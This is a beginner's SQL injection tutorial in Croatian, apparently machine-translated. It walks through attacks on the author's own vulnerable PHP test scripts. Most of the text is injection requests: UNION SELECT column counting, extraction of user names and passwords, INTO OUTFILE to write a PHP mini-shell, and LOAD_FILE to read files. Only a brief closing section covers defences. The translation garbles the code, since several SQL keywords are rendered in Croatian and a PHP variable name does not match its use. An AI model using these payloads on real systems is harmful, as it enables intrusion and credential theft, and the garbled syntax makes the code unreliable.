Ako i dalje dobivate pogrešku - Hura! Pronašli smo prvu vrstu SQL injekcije - numerički ulazni parametar.

Parametar unosa niza

Poslat ćemo zahtjeve na indeks2.php. U ovoj datoteci zahtjev izgleda ovako:
$korisnik = $_GET["korisnik"]; $upit = "SELECT * FROM vijesti WHERE korisnik="$user"";

Ovdje biramo vijesti prema korisničkom imenu, i opet ne filtriramo.
Ponovno šaljemo upit s ponudom:

Dalo je pogrešku. U REDU! To znači da postoji ranjivost. Za početak, dosta nam je – krenimo na vježbu.

Krenimo u akciju

Malo teorije

Vjerojatno jedva čekate da iz ovoga izvučete nešto osim grešaka. Prvo, shvatite da znak " -- " smatra se komentarom u SQL-u.

PAŽNJA! Prije i iza njega moraju postojati razmaci. U URL-u se prenose kao %20

Sve što dolazi nakon komentara bit će odbačeno, odnosno zahtjev:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Uspjet će. Ovo možete isprobati na skripti index2.php slanjem zahtjeva poput ovog:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučite parametar UNIJA. U SQL jeziku ključna riječ UNIJA koristi se za kombiniranje rezultata dvaju SQL upita u jednu tablicu. Odnosno, kako bismo izvukli nešto što nam treba s drugog stola.

Iskoristimo to

Ako je parametar “Numeric”, tada ne trebamo slati ponudu u zahtjevu i naravno staviti komentar na kraju. Vratimo se scenariju indeks1.php.

Okrenimo se skripti sqlinj/index1.php?id=1 UNION SELECT 1 . Naš upit baze podataka izgleda ovako:
SELECT * FROM vijesti WHERE id=1 UNION SELECT 1
I dao nam je grešku, jer... za rad s upitima za spajanje potreban nam je isti broj polja.

Jer Ne možemo utjecati na njihov broj u prvom zahtjevu, onda moramo odabrati njihov broj u drugom tako da bude jednak prvom.

Odabir broja polja

Odabir polja je vrlo jednostavan, samo pošaljite sljedeće zahtjeve:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Greška...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opet greška!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nema greške! To znači da je broj stupaca 5.

GRUPIRAJ PO
Često se događa da ih ima 20 ili 40 ili čak 60 polja, tako da ih ne moramo svaki put sortirati GRUPIRAJ PO

Ako zahtjev
sqlinj/index1.php?id=1 GRUPIRAJ PO 2
nije pokazao nikakve pogreške, što znači da je broj polja veći od 2. Pokušajmo:

Sqlinj/index1.php?id=1 GRUPIRAJ PO 8
Op, vidimo pogrešku, to znači da je broj polja manji od 8.

Ako kod GROUP BY 4 nema pogreške, a kod GROUP BY 6 postoji pogreška, tada je broj polja 5

Definiranje izlaznih stupaca
Kako bismo osigurali da nam se ništa ne prikaže od prvog zahtjeva, dovoljno je zamijeniti nepostojeći ID, na primjer:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Ovom radnjom odredili smo koji se stupci prikazuju na stranici. Sada, kako biste ove brojeve zamijenili potrebnim informacijama, morate nastaviti zahtjev.

Izlaz podataka

Recimo da znamo da tablica još postoji korisnika u kojima postoje polja iskaznica, Ime I proći.
Moramo dobiti informacije o korisniku s ID=1

Stoga, napravimo sljedeći upit:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM korisnici WHERE id=1
Skripta također nastavlja izlaziti

Da bismo to učinili, zamijenit ćemo nazive polja umjesto brojeva 1 i 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM korisnici WHERE id=1
Dobili smo što smo trebali!

Za "ulazni parametar niza" kao u skripti indeks2.php trebate dodati navodnik na početku i komentar na kraju. Primjer:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM korisnici WHERE id=1 --%20

Čitanje/pisanje datoteka

Za čitanje i pisanje datoteka, korisnik baze podataka mora imati FILE_PRIV prava.
Datoteke za snimanje
Zapravo, sve je vrlo jednostavno. Za pisanje datoteke koristit ćemo funkciju OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Odlično, datoteka je registrirana kod nas. Dakle, možemo ispuniti mini-ljusku:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 U IZLAZNU DATOTEKU "1.php" --%20
Čitanje datoteka
Čitanje datoteka čak je lakše nego pisanje. Dovoljno je samo koristiti funkciju LOAD_FILE, za mjesto polja koje odaberemo:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Dakle, pročitali smo prethodnu napisanu datoteku.

Metode zaštite

Zaštititi se čak je lakše nego iskorištavati ranjivost. Samo filtrirajte podatke. Ako prenosite brojeve, koristite
$id = (int) $_GET["id"];
Kao što je korisnik malroc predložio. Zaštitite se koristeći PDO ili pripremljene izjave.

Umjesto dovršavanja

Ovo je mjesto gdje želim završiti svoj prvi dio o “SQL injekciji za početnike”. U drugom ćemo pogledati ozbiljnije primjere injekcija. Pokušajte sami pisati ranjive skripte i izvršavati upite.
I zapamtite, ne vjerujte nijednom korisniku svoje stranice.